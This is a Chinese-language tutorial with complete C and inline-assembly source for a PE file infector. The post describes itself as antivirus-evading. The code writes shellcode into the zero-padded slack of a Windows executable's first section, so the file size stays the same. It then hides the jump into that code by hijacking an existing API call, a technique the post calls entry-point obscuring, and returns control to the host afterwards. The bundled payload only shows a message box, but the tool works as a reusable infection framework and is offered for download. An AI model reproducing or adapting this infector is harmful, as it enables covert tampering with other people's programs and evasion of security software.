以前听很多人问如何零字节插入,就是在一个pe内写入了我们的代码后,pe文件并不增加大小.可想而知道这种方法的隐蔽性.那么我们怎么才能把一些代码加入pe,而使它的大小不发生改变呢.还好windows的这个格式对齐给我们提供了可能性.pe中的节以一定的基数(也称对齐因数)对齐,而这种对齐导致的最直观的效果是每个节中有大量的空闲的空间,没有数据,没有代码,都是以0填充.这样我们就可以把这块宝地利用起来,把我们的代码写入.因为只是覆盖写入所以pe不会增加大小.好了第一个问题解决了.那么如何让pe执行那段代码呢?修改入口点(这是大部分类似程序所用的方法),不是太好。这样杀软很容易检测到pe入口点遭到修改而报警,这样我们岂不是徒劳了.那又如何解决它呢?答案就是EPO(入口点模糊技术),这种技术没有严格的规格规定,一般是修改API的跳转地址.一下为编译器的两种API调用方法:
; E8 xx xx xx xx: call xxxxxxxx ; relative address
; ...
; FF 25 xx xx xx xx: jmp dword ptr [xxxxxxxx]
;
; or:
;
; FF 15 xx xx xx xx: call dword ptr [xxxxxxxx] ; API call
#include <windows.h>
#include "stdio.h"
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
char szHostFile[20];
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;
unsigned char thunkcode[] = "\x60\x9C\x6A\x00\xE8\x07\x00\x00\x00\xD2"
"\xB9\xC9\xF1\xD4\xC2\x00\xE8\x0D\x00\x00"
"\x00\x65\x70\x6F\x2B\xB2\xE5\xB7\xEC\xB2"
"\xE2\xCA\xD4\x00\x6A\x00\xB8\x8A\x05\xD5"
"\x77\xFF\xD0\x9D\x61";
char szFormat[]="0x%02x ";
void usage();
int main(int argc, char* argv[])
{
HANDLE hFile ;
HANDLE hMap ;
LPVOID pMapping ;
DWORD dwGapSize ;
unsigned char *pGapEntry ;
int i ;
int x = 0x18 ;
int vir_len ;
unsigned char *pSearch ;
BYTE *addr_found=(BYTE *)-1;
DWORD Section_Number;
BYTE data_hex[6]; //用于暂存宿主的6字节代码
BYTE data_jmp[6]={0xe9,0x90,0x90,0x90,0x90,0x90}; //用于转移到自定义处
DWORD dwCodeDistance,max_search,_eax,_esi,image;
HMODULE hModule_user32=LoadLibrary("user32");
HMODULE hModule_kernel32=LoadLibrary("kernel32");
if(argc!=2)
{
usage();
return -1;
}
strcpy(szHostFile,argv[1]);
hFile = CreateFile(szHostFile,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL) ;
max_search=GetFileSize(hFile,0);
if (hFile==INVALID_HANDLE_VALUE)
{
printf("Open host file failed!\n") ;
return -1 ;
}
hMap = CreateFileMapping(hFile,
NULL,
PAGE_READWRITE,
0,
0,
NULL) ;
if (!hMap)
{
printf("Create file mapping falied!\n") ;
return -1 ;
}
pMapping = MapViewOfFile(hMap,
FILE_MAP_ALL_ACCESS,
0,
0,
0) ;
if (!pMapping)
{
printf("Map view of file failed!\n") ;
return -1 ;
}
//::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
if (pImageDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
{ printf("DOS_Invalid file format!\n");
return -1;
}
pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
if (pImageNtHeaders->Signature!=IMAGE_NT_SIGNATURE)
{
printf("NT_Invalid file format!\n");
return -1;
}
pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
pImageDosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS));
//:::计算第一个节的空隙大小
dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
//:::如果代码缝隙小于thunk code的大小则感染失败
if (sizeof(thunkcode)+6>dwGapSize)
{
printf("no more space to fill!\n") ;
goto Close ;
}
//:::定位到代码末尾
Section_Number=pImageNtHeaders->FileHeader.NumberOfSections;
pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping+
pImageSectionHeader->Misc.VirtualSize) ;
image=pImageNtHeaders->OptionalHeader.ImageBase;
vir_len = (int)pImageSectionHeader->Misc.VirtualSize+pImageSectionHeader->VirtualAddress-pImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
pSearch = (unsigned char *)(pImageNtHeaders->OptionalHeader.AddressOfEntryPoint+
-pImageSectionHeader->VirtualAddress+pImageSectionHeader->PointerToRawData+
(DWORD)pMapping);
max_search=DWORD(max_search+(DWORD)pMapping);
__asm
{
xor eax,eax
mov esi,pSearch
epo_search: lodsb
dec vir_len
jz asm_exit
cmp al,0e8h
jz epo_e8_found
cmp al,0ffh
jnz epo_search
dec vir_len
lodsb
cmp al,15h
jnz epo_search
jmp epo_got_it
epo_e8_found: mov _esi, esi
lodsd
add eax,esi
cmp eax,pMapping
jb epo_search
cmp eax,max_search
ja epo_search
cmp word ptr [eax],25ffh
mov esi,_esi
jnz epo_search
xchg eax,esi
inc esi
inc esi
epo_got_it: pushad
mov ebx,image
lodsd
sub eax,ebx
mov esi,pImageSectionHeader
mov ecx,Section_Number
call __rva2raw
mov edx,pMapping
add eax,edx
mov eax,DWORD ptr [eax]
call __rva2raw
lea eax,[eax+edx+2]
mov _eax,eax
push eax
push hModule_kernel32
mov eax,0x7c80ada0
call eax
or eax,eax
popad
jnz epo_got_api
mov eax,_eax
push eax
push hModule_user32
mov eax,0x7c80ada0 //本地系统的GetProcAddress的地址可能需要修正
call eax
or eax,eax
jnz epo_got_api
xor ebx,ebx
jmp epo_search
epo_got_api: dec esi
dec esi
mov addr_found,esi
jmp asm_exit
//此函数为RVA转RAW
//input:
// eax --- RVA to convert
// esi --- pointz to the first IMAGE_SECTION_HEADER
// ecx --- number of section header
// Output:
// eax --- RAW (offset in the file)
__rva2raw: pushad
r2r_sec_loop: mov ebx,[esi+12]
mov edx,ebx
cmp eax,ebx
jl r2r_next
add ebx,[esi+8]
cmp eax,ebx
jg r2r_next
sub eax,edx
add eax,[esi+20]
mov [esp+28],eax
jmp r2r_ret
r2r_next: add esi,28h
loop r2r_sec_loop
xor eax,eax
mov [esp+28],eax
r2r_ret: popad
ret
}
asm_exit:
if((DWORD)addr_found==-1)
{
printf("在我们制定的区段内并没找到符合要求的API");
goto Close;
}
printf("从这个地址开始查找:%08x \n",(pSearch-((DWORD)pMapping+pImageSectionHeader->PointerToRawData))+pImageSectionHeader->VirtualAddress+pImageNtHeaders->OptionalHeader.ImageBase);
printf("我们找到的第一个符合要求的API是%s ",_eax);
printf("它的地址:%08x \n",(addr_found-((DWORD)pMapping+pImageSectionHeader->PointerToRawData))+pImageSectionHeader->VirtualAddress+pImageNtHeaders->OptionalHeader.ImageBase);
printf("我们的代码写入的位置为:%08x \n",(pGapEntry-((DWORD)pMapping+pImageSectionHeader->PointerToRawData))+pImageSectionHeader->VirtualAddress+pImageNtHeaders->OptionalHeader.ImageBase);
dwCodeDistance =((DWORD)pGapEntry - ((DWORD)addr_found+5));
for (i=3;i>=0;i--)
{
data_jmp[i+1] = ((unsigned int)dwCodeDistance>>x)&0xff ;
x -= 8 ;
}
for(i=0;i<6;i++)
{
data_hex[i]=addr_found[i];
}
for(i=0;i<6;i++)
{
addr_found[i]=data_jmp[i];
}
for (i=0;i<sizeof(thunkcode);i++)
{
pGapEntry[i]= thunkcode[i] ;
}
for(i=0;i<6;i++)
{
pGapEntry[i+sizeof(thunkcode)-1]=data_hex[i];
}
dwCodeDistance=(-(dwCodeDistance+10+sizeof(thunkcode)));
for (i=3;i>=0;i--)
{
data_jmp[i+1] = (dwCodeDistance>>x)&0xff ;
x -= 8 ;
}
for(i=0;i<6;i++)
{
pGapEntry[i+sizeof(thunkcode)-1+6]=data_jmp[i];
}
Close:
UnmapViewOfFile(pMapping) ;
CloseHandle(hMap) ;
CloseHandle(hFile) ;
return 0 ;
}
void usage()
{
printf("用法:\n");
printf("Loader.exe FileName\n");
printf("usage: \n");
printf("Loader.exe test.exe\n\n");
printf("\t\tcode by 夜神月\n");
}
//--------------------------------------------------------------------------------------------------------------------//
vc6.0通过
点击下载